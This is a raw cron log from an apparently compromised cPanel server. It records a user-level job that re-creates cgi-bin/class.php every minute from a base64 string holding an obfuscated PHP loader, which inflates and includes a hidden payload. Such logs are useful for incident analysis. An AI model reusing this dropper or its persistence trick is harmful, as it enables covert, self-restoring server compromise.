Nov 14 11:05:01 server CROND[24131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:06:01 server CROND[25107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:07:01 server CROND[25993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:08:01 server CROND[26853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:09:01 server CROND[27817]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:09:01 server CROND[27818]: (root) CMD (/usr/sbin/csf -u)
Nov 14 11:09:01 server CROND[27820]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 11:10:01 server CROND[28683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:10:01 server CROND[28684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:10:01 server CROND[28685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:10:01 server CROND[28686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:11:01 server CROND[29627]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:12:01 server CROND[30296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 11:12:01 server CROND[30297]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:13:01 server CROND[30974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:14:01 server CROND[32017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:15:01 server CROND[527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:15:01 server CROND[529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:15:01 server CROND[528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:16:01 server CROND[1345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:17:01 server CROND[2219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
